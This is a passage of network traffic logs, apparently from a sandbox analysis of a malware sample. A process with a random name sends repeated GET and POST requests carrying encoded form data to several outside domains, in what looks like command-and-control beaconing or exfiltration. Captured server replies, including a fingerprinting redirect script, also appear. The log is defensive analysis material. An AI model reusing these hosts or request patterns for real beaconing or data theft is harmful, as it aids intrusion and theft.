68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50026	43.155.76.124	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:01.485373974 CET	554	OUT	GET /lmj1/?GR54yHZ8=JytxcoExloxtM9GYw/YkVBPtQn8SsYRrRxOyYElJ8zmzZDKm1RUtP4/aN3HHeJpfiiM3EsU/TmM7ebohnljNLiPIHS/Z5elBdrknxTUpZLsvI6YW4AGk52pDe9J+i7QDvUP60yU=&9xn=fHadNpk8MVax HTTP/1.1 Host: www.nuy25c9t.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:34:02.362343073 CET	708	IN	HTTP/1.1 404 Not Found Server: Tuser Date: Wed, 20 Nov 2024 07:34:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50027	103.224.182.242	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:07.718615055 CET	804	OUT	POST /vpqb/ HTTP/1.1 Host: www.madhf.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.madhf.tech Referer: http://www.madhf.tech/vpqb/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 76 66 69 2b 66 55 6e 38 33 30 77 71 46 68 6f 6f 59 71 39 32 43 41 37 47 54 39 43 33 5a 31 62 79 62 44 37 4f 71 6e 2b 30 6f 7a 6b 4e 67 42 70 47 6e 6c 4b 41 51 4d 57 6b 43 73 59 6c 58 6f 4c 43 71 70 7a 74 62 4d 61 41 52 43 35 6a 55 64 50 32 79 70 65 67 79 72 30 41 39 68 4f 65 59 4f 48 68 72 69 65 71 42 63 4a 41 50 61 73 65 4b 56 43 6b 4c 4d 59 6e 54 42 2f 4e 6e 47 5a 75 44 6a 47 30 49 2f 65 79 37 5a 39 54 48 34 4b 6f 51 74 61 6a 74 78 37 4e 61 4f 73 4b 4d 4c 6a 57 2b 2b 53 79 6d 63 2f 6b 54 63 2b 32 72 41 66 74 74 6a 59 75 72 5a 4d 6c 61 76 67 70 4b 61 2b 72 30 41 45 67 64 65 52 58 4d 55 44 4f 66 62 4e 6a Data Ascii: GR54yHZ8=vfi+fUn830wqFhooYq92CA7GT9C3Z1bybD7Oqn+0ozkNgBpGnlKAQMWkCsYlXoLCqpztbMaARC5jUdP2ypegyr0A9hOeYOHhrieqBcJAPaseKVCkLMYnTB/NnGZuDjG0I/ey7Z9TH4KoQtajtx7NaOsKMLjW++Symc/kTc+2rAfttjYurZMlavgpKa+r0AEgdeRXMUDOfbNj
Nov 20, 2024 08:34:08.318742990 CET	871	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 07:34:08 GMT server: Apache set-cookie: __tad=1732088048.1405750; expires=Sat, 18-Nov-2034 07:34:08 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 576 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b 72 25 26 69 50 e4 bf 8f 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 d9 c9 aa a9 33 42 d5 14 f9 39 12 15 5e 39 dd 13 d0 b1 47 11 13 de 53 be 91 7b 79 8e c6 e0 9d 12 71 be f1 79 ad cd 1a 5d ef b4 a1 5c eb 1a b3 4e 9b 6c e3 e3 b2 c8 cf d8 d7 52 95 d1 5e 3a 70 58 69 87 8a 7e b6 da 6c 41 40 d2 10 f5 8b 3c 3f 1c 0e d9 b3 ba 7c df df ad f2 0f c9 32 8a f2 1c 6e 91 40 02 e9 0e ed 8e c0 d6 30 9f cd a0 d3 ca 59 8f ca 9a ca 03 59 c0 7b 54 3b 42 06 3e 96 00 5d 03 35 08 2f 94 43 ef 6c a7 3d c7 a4 6e 3d d4 d6 81 b7 1d 32 45 7a 6b a2 7a 67 14 69 6b f8 b8 6d 57 52 6d 6f c6 54 e9 14 1e a2 c9 41 9b ca 1e b2 d6 2a 19 50 99 c3 be 95 0a d3 df 3c 5d 26 75 2f ae de 27 d3 65 74 8a 22 72 c7 c0 64 95 9e c0 55 ee fb 68 42 80 47 1a 37 e9 9f d5 de 04 83 cc 9f 84 86 d5 fd b7 51 b3 80 4f cf 4e be dc b2 0e 59 a5 0f 9d 35 9a 2c 87 d6 8b 20 db e3 29 30 9f 58 [TRUNCATED] Data Ascii: TMo0=pvNl;a"[r%&iPrm:]lQeb3B9^9GS{yqy]\NlR^:pXi~lA@<?\|2n@0YY{T;B>]5/Cl=n=2EzkzgikmWRmoTAP<]&u/'et"rdUhBG7QONY5, )0XdqLZ JL2qw-:bS-GKUM;]}9rt)kgwZ\\ieu"CXZTzW$c.8?7L<)?ZmABW/nr+w(~\|U}Sbv,_Cz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50028	103.224.182.242	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:10.327864885 CET	828	OUT	POST /vpqb/ HTTP/1.1 Host: www.madhf.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.madhf.tech Referer: http://www.madhf.tech/vpqb/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 76 66 69 2b 66 55 6e 38 33 30 77 71 46 41 59 6f 61 4a 6c 32 46 67 37 4a 50 74 43 33 58 6c 62 32 62 44 33 4f 71 6d 72 78 72 42 77 4e 68 6a 78 47 6d 6b 4b 41 65 73 57 6b 4a 4d 59 73 61 49 4c 56 71 70 76 4c 62 4d 32 41 52 44 64 6a 55 65 62 32 79 61 47 6a 7a 37 30 65 6b 78 4f 4c 46 2b 48 68 72 69 65 71 42 66 30 6c 50 61 6b 65 4b 41 53 6b 5a 2b 38 6b 4e 52 2f 4b 33 57 5a 75 48 6a 47 77 49 2f 65 41 37 59 77 32 48 2b 47 6f 51 73 71 6a 73 6b 62 4d 50 65 73 4d 50 37 69 67 37 4d 76 6e 69 65 4b 67 51 76 4f 68 32 42 58 73 73 56 46 30 33 71 4d 47 49 2f 41 72 4b 59 6d 5a 30 67 45 4b 66 65 70 58 65 44 50 70 51 76 6f 41 71 55 48 61 79 78 72 2b 46 71 56 58 43 43 76 6f 2b 54 77 69 58 51 3d 3d Data Ascii: GR54yHZ8=vfi+fUn830wqFAYoaJl2Fg7JPtC3Xlb2bD3OqmrxrBwNhjxGmkKAesWkJMYsaILVqpvLbM2ARDdjUeb2yaGjz70ekxOLF+HhrieqBf0lPakeKASkZ+8kNR/K3WZuHjGwI/eA7Yw2H+GoQsqjskbMPesMP7ig7MvnieKgQvOh2BXssVF03qMGI/ArKYmZ0gEKfepXeDPpQvoAqUHayxr+FqVXCCvo+TwiXQ==
Nov 20, 2024 08:34:10.867294073 CET	871	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 07:34:10 GMT server: Apache set-cookie: __tad=1732088050.5135837; expires=Sat, 18-Nov-2034 07:34:10 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 576 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b 72 25 26 69 50 e4 bf 8f 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 d9 c9 aa a9 33 42 d5 14 f9 39 12 15 5e 39 dd 13 d0 b1 47 11 13 de 53 be 91 7b 79 8e c6 e0 9d 12 71 be f1 79 ad cd 1a 5d ef b4 a1 5c eb 1a b3 4e 9b 6c e3 e3 b2 c8 cf d8 d7 52 95 d1 5e 3a 70 58 69 87 8a 7e b6 da 6c 41 40 d2 10 f5 8b 3c 3f 1c 0e d9 b3 ba 7c df df ad f2 0f c9 32 8a f2 1c 6e 91 40 02 e9 0e ed 8e c0 d6 30 9f cd a0 d3 ca 59 8f ca 9a ca 03 59 c0 7b 54 3b 42 06 3e 96 00 5d 03 35 08 2f 94 43 ef 6c a7 3d c7 a4 6e 3d d4 d6 81 b7 1d 32 45 7a 6b a2 7a 67 14 69 6b f8 b8 6d 57 52 6d 6f c6 54 e9 14 1e a2 c9 41 9b ca 1e b2 d6 2a 19 50 99 c3 be 95 0a d3 df 3c 5d 26 75 2f ae de 27 d3 65 74 8a 22 72 c7 c0 64 95 9e c0 55 ee fb 68 42 80 47 1a 37 e9 9f d5 de 04 83 cc 9f 84 86 d5 fd b7 51 b3 80 4f cf 4e be dc b2 0e 59 a5 0f 9d 35 9a 2c 87 d6 8b 20 db e3 29 30 9f 58 [TRUNCATED] Data Ascii: TMo0=pvNl;a"[r%&iPrm:]lQeb3B9^9GS{yqy]\NlR^:pXi~lA@<?\|2n@0YY{T;B>]5/Cl=n=2EzkzgikmWRmoTAP<]&u/'et"rdUhBG7QONY5, )0XdqLZ JL2qw-:bS-GKUM;]}9rt)kgwZ\\ieu"CXZTzW$c.8?7L<)?ZmABW/nr+w(~\|U}Sbv,_Cz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50029	103.224.182.242	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:12.974217892 CET	1841	OUT	POST /vpqb/ HTTP/1.1 Host: www.madhf.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.madhf.tech Referer: http://www.madhf.tech/vpqb/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 76 66 69 2b 66 55 6e 38 33 30 77 71 46 41 59 6f 61 4a 6c 32 46 67 37 4a 50 74 43 33 58 6c 62 32 62 44 33 4f 71 6d 72 78 72 42 6f 4e 68 57 74 47 6e 48 69 41 64 73 57 6b 53 73 59 68 61 49 4c 74 71 70 6e 50 62 4d 4b 36 52 41 31 6a 56 2b 48 32 36 4c 47 6a 34 37 30 65 35 68 4f 66 59 4f 47 6c 72 69 4f 75 42 63 63 6c 50 61 6b 65 4b 48 71 6b 4f 38 59 6b 4b 68 2f 4e 6e 47 59 68 44 6a 47 59 49 2f 47 51 37 59 30 4d 48 4f 6d 6f 51 4d 36 6a 76 51 37 4d 53 75 73 4f 47 72 69 6f 37 4d 69 33 69 61 71 47 51 76 4b 4c 32 44 4c 73 75 43 63 6a 71 65 4d 34 58 64 51 4e 53 71 6d 59 79 30 49 48 59 63 34 74 50 52 37 37 65 63 41 5a 70 41 7a 75 2f 44 75 48 50 35 56 39 43 6b 61 35 36 7a 39 35 4a 75 32 70 70 32 6e 6f 6d 34 76 58 6d 62 54 4a 79 50 53 6c 62 35 41 6f 4a 77 74 6d 74 54 6b 5a 66 36 45 6b 4b 57 58 38 50 6d 62 36 45 38 54 79 51 42 2b 5a 6f 51 36 64 75 4c 53 59 75 4e 7a 50 44 50 41 50 38 35 4d 4e 2f 43 69 2b 75 65 31 65 44 6f 42 4c 65 74 79 6d 71 77 54 55 66 6b 42 78 61 6e 33 75 45 76 65 65 4d [TRUNCATED] Data Ascii: GR54yHZ8=vfi+fUn830wqFAYoaJl2Fg7JPtC3Xlb2bD3OqmrxrBoNhWtGnHiAdsWkSsYhaILtqpnPbMK6RA1jV+H26LGj470e5hOfYOGlriOuBcclPakeKHqkO8YkKh/NnGYhDjGYI/GQ7Y0MHOmoQM6jvQ7MSusOGrio7Mi3iaqGQvKL2DLsuCcjqeM4XdQNSqmYy0IHYc4tPR77ecAZpAzu/DuHP5V9Cka56z95Ju2pp2nom4vXmbTJyPSlb5AoJwtmtTkZf6EkKWX8Pmb6E8TyQB+ZoQ6duLSYuNzPDPAP85MN/Ci+ue1eDoBLetymqwTUfkBxan3uEveeMBlJ1jO8OtkBwzwsvhXppHLXNPZEY0gpD/3Y+go3QJCIhEqNFHxQmHyTa0wOmExmuk5tATozBpU7ASn89uRv0h2xhE8aKFIAhQHLNN5fOFz7tXQGr6ID4h45duGoZAigkjyS7pKQ/+CLncIXRAX3qbFcdV0o4Lk0v2xVHWJWRn1GZ2U+5tbC+ulVEhLosYSCP+zG+3L3uWs06yH1cYGQPmd/MaO/MV920B51mg3/Ky3x+7gBtUZqvqsDX5uxsE8QDJ5Fd9JfH1c5eBfYiB8C52BPSXnKun97cA7iIXczeLQln1tM8hlAWYZMIrdBg2Et8UV1i36Gvgbp37FqnbVRXKuNHtADNghvScgIIb7yoGyyaPkb/mqd5VaBfo/QELII1pAmtg59ept0LoCn9UXuQZiZs5Szyp5gX4Ap9Ur0AS3nmYlIbg4Tbvm2hTuL3jgXvkVpupFkaKVgpZbtatFGxYu8ACgL0kFlcQ2YLMYhh7QcFbqW8iSVRajV0VSKM2UGz2WBoBA7ICV8pDNZzyhkKbYCFqsk+n5lj8D6pdA86yVJ0VxUb/l9C4i3wRGd/b9u+lqtK/39V2GgcQFN7pc5jhJWyj1eXMywCYWx0kHfvRsE+N8K7Myk/zxnisNBNf9o5RHyK0b+1vwTpYOogFUOZ7wlLOybvMSsH9h [TRUNCATED]
Nov 20, 2024 08:34:13.497000933 CET	871	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 07:34:13 GMT server: Apache set-cookie: __tad=1732088053.2947419; expires=Sat, 18-Nov-2034 07:34:13 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 576 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b 72 25 26 69 50 e4 bf 8f 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 d9 c9 aa a9 33 42 d5 14 f9 39 12 15 5e 39 dd 13 d0 b1 47 11 13 de 53 be 91 7b 79 8e c6 e0 9d 12 71 be f1 79 ad cd 1a 5d ef b4 a1 5c eb 1a b3 4e 9b 6c e3 e3 b2 c8 cf d8 d7 52 95 d1 5e 3a 70 58 69 87 8a 7e b6 da 6c 41 40 d2 10 f5 8b 3c 3f 1c 0e d9 b3 ba 7c df df ad f2 0f c9 32 8a f2 1c 6e 91 40 02 e9 0e ed 8e c0 d6 30 9f cd a0 d3 ca 59 8f ca 9a ca 03 59 c0 7b 54 3b 42 06 3e 96 00 5d 03 35 08 2f 94 43 ef 6c a7 3d c7 a4 6e 3d d4 d6 81 b7 1d 32 45 7a 6b a2 7a 67 14 69 6b f8 b8 6d 57 52 6d 6f c6 54 e9 14 1e a2 c9 41 9b ca 1e b2 d6 2a 19 50 99 c3 be 95 0a d3 df 3c 5d 26 75 2f ae de 27 d3 65 74 8a 22 72 c7 c0 64 95 9e c0 55 ee fb 68 42 80 47 1a 37 e9 9f d5 de 04 83 cc 9f 84 86 d5 fd b7 51 b3 80 4f cf 4e be dc b2 0e 59 a5 0f 9d 35 9a 2c 87 d6 8b 20 db e3 29 30 9f 58 [TRUNCATED] Data Ascii: TMo0=pvNl;a"[r%&iPrm:]lQeb3B9^9GS{yqy]\NlR^:pXi~lA@<?\|2n@0YY{T;B>]5/Cl=n=2EzkzgikmWRmoTAP<]&u/'et"rdUhBG7QONY5, )0XdqLZ JL2qw-:bS-GKUM;]}9rt)kgwZ\\ieu"CXZTzW$c.8?7L<)?ZmABW/nr+w(~\|U}Sbv,_Cz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50030	103.224.182.242	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:15.515158892 CET	552	OUT	GET /vpqb/?GR54yHZ8=idKeckLAh2QIGB9KZJIRJS/oZMGdTwW1FjmI9FLM0wQU5zssjU3Tb8uAKfYmb7Pqyu/QfIKYZQgeFcPlwIuov5hXyxvkYczVsVuddv1TKr98fV67HMUUNiXk30NJOQiWMtrF+8k=&9xn=fHadNpk8MVax HTTP/1.1 Host: www.madhf.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:34:16.117191076 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 07:34:16 GMT server: Apache set-cookie: __tad=1732088056.4264178; expires=Sat, 18-Nov-2034 07:34:16 GMT; Max-Age=315360000 vary: Accept-Encoding content-length: 1541 content-type: text/html; charset=UTF-8 connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 6d 61 64 68 66 2e 74 65 63 68 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6a 73 2f 66 69 6e 67 65 72 70 72 69 6e 74 2f 69 69 66 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 76 61 72 20 72 65 64 69 72 65 63 74 5f 6c 69 6e 6b 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 61 64 68 66 2e 74 65 63 68 2f 76 70 71 62 2f 3f 47 52 35 34 79 48 5a 38 3d 69 64 4b 65 63 6b 4c 41 68 32 51 49 47 42 39 4b 5a 4a 49 52 4a 53 2f 6f 5a 4d 47 64 54 77 57 31 46 6a 6d 49 39 46 4c 4d 30 77 51 55 35 7a 73 73 6a 55 33 54 62 38 75 41 4b 66 59 6d 62 37 50 71 79 75 2f 51 66 49 4b 59 5a 51 67 65 46 63 50 6c 77 49 75 6f 76 35 68 58 79 78 76 6b 59 63 7a 56 73 56 75 64 64 76 31 54 4b 72 39 38 66 56 36 37 48 4d 55 55 4e 69 58 6b 33 30 4e 4a 4f 51 69 57 4d 74 72 46 2b [TRUNCATED] Data Ascii: <html><head><title>madhf.tech</title><script type="text/javascript" src="/js/fingerprint/iife.min.js"></script><script type="text/javascript">var redirect_link = 'http://www.madhf.tech/vpqb/?GR54yHZ8=idKeckLAh2QIGB9KZJIRJS/oZMGdTwW1FjmI9FLM0wQU5zssjU3Tb8uAKfYmb7Pqyu/QfIKYZQgeFcPlwIuov5hXyxvkYczVsVuddv1TKr98fV67HMUUNiXk30NJOQiWMtrF+8k=&9xn=fHadNpk8MVax&';// Set a timeout of 300 microseconds to execute a redirect if the fingerprint promise fails for some reasonfunction fallbackRedirect() {window.location.replace(redirect_link+'fp=-7');}try {const rdrTimeout = setTimeout(fallbackRedirect, 300);var fpPromise = FingerprintJS.load({monitoring: false});fpPromise.then(fp => fp.get()).then(result => { var fprt = 'fp='+result.visitorId;clearTimeout(rdrTimeout);window.location.replace(redirect_link+fprt);});} catch(err) {fallbackRedirect();}</script><style> body { background:#101c36 } </style></head><body
Nov 20, 2024 08:34:16.117252111 CET	577	IN	Data Raw: 62 67 63 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 27 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e Data Ascii: bgcolor="#ffffff" text="#000000"><div style='display: none;'><a href='http://www.madhf.tech/vpqb/?GR54yHZ8=idKeckLAh2QIGB9KZJIRJS/oZMGdTwW1FjmI9FLM0wQU5zssjU3Tb8uAKfYmb7Pqyu/QfIKYZQgeFcPlwIuov5hXyxvkYczVsVuddv1TKr98fV67HMUUNiXk30NJOQiWMtrF+8k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50031	13.248.169.48	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:21.170445919 CET	807	OUT	POST /0krx/ HTTP/1.1 Host: www.a1shop.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.a1shop.shop Referer: http://www.a1shop.shop/0krx/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 34 41 65 6e 51 65 49 30 59 56 2b 6b 71 49 57 6f 39 58 69 78 68 50 50 4d 6d 50 41 57 76 71 59 48 5a 48 5a 79 32 37 44 77 4b 73 34 2b 35 4d 4a 33 4f 37 57 48 2f 48 74 34 38 6c 6a 2b 76 69 59 79 36 75 77 64 41 4d 35 73 45 49 43 77 4a 76 63 38 66 42 6f 6b 6a 34 32 66 31 2f 32 47 45 67 6e 41 6d 62 52 4f 59 55 62 54 6c 62 79 74 48 71 45 62 39 54 45 44 6d 79 45 7a 71 48 34 61 56 7a 6d 6c 34 34 69 48 77 68 51 48 76 71 38 4f 36 42 53 6c 4d 71 66 72 37 7a 5a 79 34 30 49 78 4b 4c 6c 35 34 4f 33 36 65 50 73 6e 41 4a 33 46 51 45 6f 56 6c 62 41 2f 7a 62 74 79 34 54 7a 4b 59 35 31 4c 32 33 39 51 52 6f 45 43 4d 43 4c 71 Data Ascii: GR54yHZ8=4AenQeI0YV+kqIWo9XixhPPMmPAWvqYHZHZy27DwKs4+5MJ3O7WH/Ht48lj+viYy6uwdAM5sEICwJvc8fBokj42f1/2GEgnAmbROYUbTlbytHqEb9TEDmyEzqH4aVzml44iHwhQHvq8O6BSlMqfr7zZy40IxKLl54O36ePsnAJ3FQEoVlbA/zbty4TzKY51L239QRoECMCLq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50032	13.248.169.48	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:34:23.727310896 CET	831	OUT	POST /0krx/ HTTP/1.1 Host: www.a1shop.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.a1shop.shop Referer: http://www.a1shop.shop/0krx/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 34 41 65 6e 51 65 49 30 59 56 2b 6b 72 70 6d 6f 78 55 36 78 67 76 50 50 69 2f 41 57 6d 4b 59 62 5a 48 64 79 32 2f 7a 65 4b 5a 6f 2b 67 70 74 33 50 36 57 48 79 6e 74 34 7a 46 6a 2f 72 69 59 74 36 75 73 6a 41 4f 39 73 45 49 47 77 4a 76 4d 38 66 79 77 6e 78 59 32 64 67 76 32 41 4a 41 6e 41 6d 62 52 4f 59 55 4f 49 6c 66 57 74 41 61 30 62 79 57 77 43 72 53 46 42 70 48 34 61 45 6a 6d 68 34 34 69 31 77 6b 35 63 76 75 4d 4f 36 42 69 6c 4d 66 7a 6f 78 7a 5a 6f 6c 45 49 36 44 4a 30 68 68 